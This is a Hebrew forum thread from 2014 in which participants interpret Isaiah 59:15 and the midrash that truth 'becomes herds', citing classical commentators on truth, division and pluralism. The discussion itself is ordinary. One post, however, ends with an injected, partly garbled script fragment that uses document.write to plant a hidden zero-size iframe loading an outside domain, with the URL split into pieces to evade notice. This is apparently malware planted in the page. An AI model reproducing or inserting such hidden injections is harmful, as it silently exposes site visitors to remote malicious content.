בית פורומים עצור כאן חושבים

האמת נעדרת

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-13/6/2014 01:48 לינק ישיר 
האמת נעדרת

נאמר בספר ישעיהו: ותהי האמת נעדרת וסר מרע משתולל. אמרי דבי רב: מלמד שנעשית עדרים עדרים והולכת לה.

מה פירוש הפסוק? מה זה עדרים עדרים? לאן הולכת לה?



דווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 01:56 לינק ישיר 

ותהי האמת נעדרת וסר מרע משתולל.

פירש רד"ק: ותהי האמת נעדרת - שלא היתה נמצאת ביניהם כלל כאילו לא היתה מעולם, וסר מרע משתולל - אינו נמצא כאלו שללו ובזזו אותו מהעולם.

ושד"ל פירש: האמת - האמונה והתמימות, וסר מרע משתולל - הכוונה (כמו שכתב רש"י) מי שהוא סר מרע הוא מוחזק שוטה על הבריות.




דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 02:12 לינק ישיר 

המהרש"א פירש שאמת נופל על דברי תורה וע"כ דרשוהו מלשון עדר. כלומר, מאחר שלא ייתכן שהתורה תיעדר מהעולם כי אז אין לעולם קיום, חז"ל דרשו שהאמת נעשית עדרים עדרים. לפיכך, אם האמת נעשית עדרים עדרים, מדוע הרי היא כאילו שלא היתה נמצאת ביניהם כלל כאילו לא היתה מעולם?



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 02:27 לינק ישיר 

המלה עדר פירושה קיבוץ הצאן למקום אחד. הקב"ה קיבץ את כלל ישראל להר סיני לקבל את התורה.

אמר רבי ינאי: אילו ניתנה התורה חתוכה (פני משה: בפסק הלכה ללא נטיית דעת לכאן ולכאן), לא היתה לרגל עמידה (פני משה: לא היה קיום לעולם דהתורה צריך שתהיה נדרשת פנים לכאן ולכאן כדלקמיה אלו ואלו דברי א-להים חיים הן). (ירושלמי סנהדרין ד, ב).

לפיכך, כאשר יש ספק מה ההלכה, הכלל הוא אחרי רבים להטות, רבו המזכין זכו, רבו המחייבים חייבו. הדבר אפשרי רק בתנאי שחכמי ישראל מקובצים במקום אחד, זה תפקיד הסנהדרין שממנו יוצאת הוראה לכלל ישראל.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 02:39 לינק ישיר 

נעשית עדרים עדרים והולכת לה. פירש המהרש"א: כי אנשי אמת יהיו הולכים ונחבאים במדברות מפני הדור הרע.

כשהגלות בתוקפה, דרך הארץ כה מקולקלת, עד שיראי ה' נמאסו ולרבים התורה איננה נחשבת כמציאותית. על-כן אנשי אמת הולכים ונחבאים במדברות, כלומר במקומות הרחוקים מהיישוב בהם לא עוסקים בתיקון מעשי של העולם המקובל על כל התושבים, ובמקומות בהם עוסקים בתיקון מעשי של העולם המקובל על רוב התושבים האמת נעדרת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 02:46 לינק ישיר 

כשהאמת נעדרת, כל בית מדרש משתדל לשמור על נקודת האמת הפנימית שלו, ולפיכך נבדל מבתי מדרש אחרים פן אחיזתו באמת תתקלקל. אזי האמת נעשית עדרים עדרים, כלומר כל עדר סבור שהאמת אצלו ולא אצל אחרים, או כל עדר עסוק בדרכו ואדיש לדרכם של שאר העדרים. אלא שהאמת ממהותה מתהלכת, וככל שהעדרים שומרים על אמיתותם בדוגמטיות, כן הינם מתרחקים מהאמת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 02:56 לינק ישיר 

והיה כעץ השתול על פלגי מים. נאמר במדרש שוחר טוב: מהו על פלגי מים? כגון טבריה וחברותיה, צפורי וחברותיה, יבנה וחברותיה, לוד וחברותיה. רבי שמואל בר רב יצחק היה שותל עצמו מחבורה לחבורה לקיים מה שנאמר מכל מלמדי השכלתי.

הנה במציאות של עדרים עדרים, כל עדר דומה לנחל, ומאחר שהתורה ארוכה מארץ מדה ורחבה מני ים, אי-אפשר ללמוד תורה רק מנחל, שכל הנחלים הולכים אל הים והים איננו מלא, ולפיכך התלמיד חכם הינו זה הלמד תורה מחבורה לחבורה, מעדר לעדר, וכך דורש את האמת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 03:22 לינק ישיר 

ותהי האמת נעדרת, שלא היתה נמצאת ביניהם כלל כאילו לא היתה מעולם. הנה לא מבינים שריבוי התנועות והזרמים בעולם מלמד שהאמת הולכת ונעדרת, ועל-כן אין עצה אלא ללומדה מדורות קודמים נאמנים ותמימים יותר. אלא חושבים שסברותיהם החדשות והקטנוניות הן האמת. ומי שסר מהרצון להתחכם בחידושים אלא משתדל לקבל את השמועה ולהחזיר עטרה ליושנה נחשב כשוטה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 03:53 לינק ישיר 

עפ"י האגדה שדרש רבי סימון, לבריאת האדם היו שני סנגורים ושני קטגורים. חסד אומר יברא שהוא גומל חסדים, צדק אומר יברא שהוא עושה צדקות, אמת אומר אל יברא שכולו שקרים, שלום אומר אל יברא דכולי קטטה, מה עשה הקב"ה נטל אמת והשליכו לארץ. אם האמת בארץ, היאך האמת נעדרת?

נאמר בתהלים פה: אמת מארץ תצמח וצדק משמים נשקף. פירש מצודת דוד: כשתתרבה האמת בארץ אז יהיה הצדק נשקף מן השמים להראות ע"פ הארץ. היאך יכולה האמת להתרבות בארץ אם מלכתחלה היתה קטיגור לבריאת האדם?

נאמר בזכריה: והאמת והשלום אהבו. עליכם בני האדם לאהוב את האמת והשלום עד שהיו מקטגורים לסנגורים.

אם אמת, היאך שלום? ואם שלום, היאך אמת?

תוקן על ידי מם80 ב- 13/06/2014 03:58:58




דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 04:11 לינק ישיר 

ואקח לי שני מקלות לאחד קראתי נועם ולאחד קראתי חובלים. נועם אלו תלמידי חכמים שבארץ ישראל שמנעימין זה לזה בהלכה. חובלים אלה תלמידי חכמים שבבבל שמחבלים זה לזה בהלכה.

חובלים זו בחינת גלות, בלבול, היעדר האמת, ריבוי בו כל אחד מהעדרים משוכנע שהאמת אצלו וחובל באחרים, ועל-כן תלמודם ספק בידם, ובכל זאת האחדות שומרתם. נועם, זו בחינת גאולה, אחדות בה זה מסוגל לראות את האמת אצל זה ומתוך שמנעימים זה לזה בדברי הלכה, האמת מתרבה בארץ.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 04:54 לינק ישיר 

בקש שלום ורדפהו. פירש ראב"ע: כי אין משפט הבנים לבקש שררה ולהתגבר זה על זה. ורד"ק פירש: בקש שלום בפה ורדפהו בלב.

יהיו פיך ולבך שווים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 05:20 לינק ישיר 

מודה על האמת ודובר אמת בלבבו.

אם מודה על האמת, יכול לדבר אמת בלבבו. אם דובר אמת בלבבו, מסוגל להודות על האמת.



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 05:59 לינק ישיר 

האמת חותמו של הקב"ה. על-כן ממהותה האמת אחת.

כשהאמת נעדרת, כלומר נעלמת ונסתרת, אזי נעשית עדרים עדרים, ומאחר שרוב האנשים יודעים שהאמת אחת, בנקל אפשר לטעות שאחד העדרים אמת והאחרים שקר, מבלי להבין שפירוד הלבבות לעדרים עדרים הינו תולדה של התרחקות כללית מהאמת.




דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 06:20 לינק ישיר 

מדוע התרחק העולם בדורות האחרונים מהאמת?

לענ"ד, מרוב עיסוק בפרטים ובפרטי פרטים נשתכחו הכללים האמתיים, ומאחר שהכללים האמתיים הוחלפו בכללים חלקיים אשר אינם מצליחים להכיל את הכל, לא היתה ברירה לאנשים אלא להיפרד לעדרים עדרים כדי לשמור על ייחודם.

במציאות של עדרים עדרים בד"כ רוב האנשים או מזדהים באופן קנאי עם העדר שלהם עד כדי זלזול בעדרים אחרים, או יודעים שהעדר שלהם רחוק משלמות ובכל זאת מטעמם-הם מעדיפים אותו על פני עדרים אחרים, או עוברים מעדר לעדר.

לפעמים מצליחים באמת להקשיב זה לזה...



דדווח על תוכן פוגעני

מחובר
נשלח ב-13/6/2014 08:14 לינק ישיר 

לשאלה הראשונה:

ותהי האמת נעדרת וסר מרע משתולל.

הנה ההקשר (מתוך פרוייקט השות כרגיל)

ישעיהו פרק נט

(א) הֵן לֹא קָצְרָה יַד יְדֹוָד מֵהוֹשִׁיעַ וְלֹא כָבְדָה אָזְנוֹ מִשְּׁמוֹעַ:
(ב) כִּי אִם עֲוֹנֹתֵיכֶם הָיוּ מַבְדִּלִים בֵּינֵכֶם לְבֵין אֱלֹהֵיכֶם וְחַטֹּאותֵיכֶם הִסְתִּירוּ פָנִים מִכֶּם מִשְּׁמוֹעַ:
(ג) כִּי כַפֵּיכֶם נְגֹאֲלוּ בַדָּם וְאֶצְבְּעוֹתֵיכֶם בֶּעָוֹן שִׂפְתוֹתֵיכֶם דִּבְּרוּ שֶׁקֶר לְשׁוֹנְכֶם עַוְלָה תֶהְגֶּה:
(ד) אֵין קֹרֵא בְצֶדֶק וְאֵין נִשְׁפָּט בֶּאֱמוּנָה בָּטוֹחַ עַל תֹּהוּ וְדַבֶּר שָׁוְא הָרוֹ עָמָל וְהוֹלֵיד אָוֶן:
(ה) בֵּיצֵי צִפְעוֹנִי בִּקֵּעוּ וְקוּרֵי עַכָּבִישׁ יֶאֱרֹגוּ הָאֹכֵל מִבֵּיצֵיהֶם יָמוּת וְהַזּוּרֶה תִּבָּקַע אֶפְעֶה:
(ו) קוּרֵיהֶם לֹא יִהְיוּ לְבֶגֶד וְלֹא יִתְכַּסּוּ בְּמַעֲשֵׂיהֶם מַעֲשֵׂיהֶם מַעֲשֵׂי אָוֶן וּפֹעַל חָמָס בְּכַפֵּיהֶם:
(ז) רַגְלֵיהֶם לָרַע יָרֻצוּ וִימַהֲרוּ לִשְׁפֹּךְ דָּם נָקִי מַחְשְׁבוֹתֵיהֶם מַחְשְׁבוֹת אָוֶן שֹׁד וָשֶׁבֶר בִּמְסִלּוֹתָם:
(ח) דֶּרֶךְ שָׁלוֹם לֹא יָדָעוּ וְאֵין מִשְׁפָּט בְּמַעְגְּלוֹתָם נְתִיבוֹתֵיהֶם עִקְּשׁוּ לָהֶם כֹּל דֹּרֵךְ בָּהּ לֹא יָדַע שָׁלוֹם:
(ט) עַל כֵּן רָחַק מִשְׁפָּט מִמֶּנּוּ וְלֹא תַשִּׂיגֵנוּ צְדָקָה נְקַוֶּה לָאוֹר וְהִנֵּה חֹשֶׁךְ לִנְגֹהוֹת בָּאֲפֵלוֹת נְהַלֵּךְ:
(י) נְגַשְׁשָׁה כַעִוְרִים קִיר וּכְאֵין עֵינַיִם נְגַשֵּׁשָׁה כָּשַׁלְנוּ בַצָּהֳרַיִם כַּנֶּשֶׁף בָּאַשְׁמַנִּים כַּמֵּתִים:
(יא) נֶהֱמֶה כַדֻּבִּים כֻּלָּנוּ וְכַיּוֹנִים הָגֹה נֶהְגֶּה נְקַוֶּה לַמִּשְׁפָּט וָאַיִן לִישׁוּעָה רָחֲקָה מִמֶּנּוּ:
(יב) כִּי רַבּוּ פְשָׁעֵינוּ נֶגְדֶּךָ וְחַטֹּאותֵינוּ עָנְתָה בָּנוּ כִּי פְשָׁעֵינוּ אִתָּנוּ וַעֲוֹנֹתֵינוּ יְדַעֲנוּם:
(יג) פָּשֹׁעַ וְכַחֵשׁ בַּידֹוָד וְנָסוֹג מֵאַחַר אֱלֹהֵינוּ דַּבֶּר עֹשֶׁק וְסָרָה הֹרוֹ וְהֹגוֹ מִלֵּב דִּבְרֵי שָׁקֶר:
(יד) וְהֻסַּג אָחוֹר מִשְׁפָּט וּצְדָקָה מֵרָחוֹק תַּעֲמֹד כִּי כָשְׁלָה בָרְחוֹב אֱמֶת וּנְכֹחָה לֹא תוּכַל לָבוֹא:
(טו) וַתְּהִי הָאֱמֶת נֶעְדֶּרֶת וְסָר מֵרָע מִשְׁתּוֹלֵל וַיַּרְא יְדֹוָד וַיֵּרַע בְּעֵינָיו כִּי אֵין מִשְׁפָּט:
(טז) וַיַּרְא כִּי אֵין אִישׁ וַיִּשְׁתּוֹמֵם כִּי אֵין מַפְגִּיעַ וַתּוֹשַׁע לוֹ זְרֹעוֹ וְצִדְקָתוֹ הִיא סְמָכָתְהוּ:
(יז) וַיִּלְבַּשׁ צְדָקָה כַּשִּׁרְיָן וְכוֹבַע יְשׁוּעָה בְּרֹאשׁוֹ וַיִּלְבַּשׁ בִּגְדֵי נָקָם תִּלְבֹּשֶׁת וַיַּעַט כַּמְעִיל קִנְאָה:
(יח) כְּעַל גְּמֻלוֹת כְּעַל יְשַׁלֵּם חֵמָה לְצָרָיו גְּמוּל לְאֹיְבָיו לָאִיִּים גְּמוּל יְשַׁלֵּם:
(יט) וְיִירְאוּ מִמַּעֲרָב אֶת שֵׁם יְדֹוָד וּמִמִּזְרַח שֶׁמֶשׁ אֶת כְּבוֹדוֹ כִּי יָבוֹא כַנָּהָר צָר רוּחַ יְדֹוָד נֹסְסָה בוֹ:
(כ) וּבָא לְצִיּוֹן גּוֹאֵל וּלְשָׁבֵי פֶשַׁע בְּיַעֲקֹב נְאֻם יְדֹוָד:


כלומר, האמת שהנביא מקונן על העדרה היא האמת המשפטית והמוסרית, היושר והצדק. היושר בין אדם לחברו והצדק המשפטי להשיב את האמת הזו על כנה.

החלק השני, "וסר מרע משתולל" בא לומר, לפי קריאתי הפשטנית, שמי שכן מצליח לשמור על יושר, הריהו בחינת "משתולל", משוגע ייאמר לו.

אפשר כמובן לומר שאין אמת מוסרית, כלומר חיים לפי היושר, אלא אם יש אמת בכלל, גם זו האמונית והפילוסופית. ולכן העדר אמת מוסרית המיושמת בחיי החברה והפרט נובע גם מהעדר אמת אמונית.

והמדרש המצוטט:

אמרי דבי רב: מלמד שנעשית עדרים עדרים והולכת לה.

נראה שמייחסים לרב את הפרשנות שכאשר יש מחלוקות, ולא לשם בירור האמת, כל "עדר" מחזיק בתפיסתו שלו והאמת כפי שהיא נעלמת לה כי אין מי שיחפש אחריה. וזו כבר אמת הלכתית או אמונית ולא רק יושר וצדק.

***
מ כתב

במציאות של עדרים עדרים בד"כ רוב האנשים או מזדהים באופן קנאי עם העדר שלהם עד כדי זלזול בעדרים אחרים, או יודעים שהעדר שלהם רחוק משלמות ובכל זאת מטעמם-הם מעדיפים אותו על פני עדרים אחרים, או עוברים מעדר לעדר. לפעמים מצליחים באמת להקשיב זה לזה...

כמה חבל, כמה נכון.

אבל יש כאן את הפורום שלנו, כדי שנקשיב זה לזה!

____נוסף משפט להבהרת מסקנה_____________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 13/06/2014 08:14:58




דדווח על תוכן פוגעני

מנותק
נשלח ב-13/6/2014 10:19 לינק ישיר 

נצח ישראל למהר"ל פל"ה:

אבל "ותהי האמת נעדרת", משמע שיהיה האמת בטל בלבד. לכך דרש "ותהי האמת נעדרת" שנעשים עדרים עדרים והולכת לה. שלא תאמר כי הפחותים יהיו משקרים בשביל פחיתות שלהם, ולא נקרא זה שהאמת הלכה לה, רק שהם אינם חפצים באמת. כי זה אינו, כי לא ימצא כלל אף אצל אשר נקראו 'טובים', ועל זה נאמר שהאמת הלכה לה, ולא ימצא האמת. ודבר זה יותר פחיתות, שאם בני אדם מצד שהם אינם טובים משקרים, אין כאן בטול האמת מן העולם, רק שהבריות הם אינם טובים, ובאים לידי שקר. ולפעמים ימצא אדם כשר, ואין הכל משקרים. אבל לעתיד יסולק האמת מצד עצמו, ולא נמצא אצל אחד האמת, רק כל אדם כוזב. וזה פחיתות גדול שאין האמת מצד עצמו נמצא. 

פלאי הפלורליזם הפוסטמודרני...


תוקן על ידי mdabraham ב- 13/06/2014 10:20:13




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > האמת נעדרת
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 לדף הבא סך הכל 2 דפים.

bholext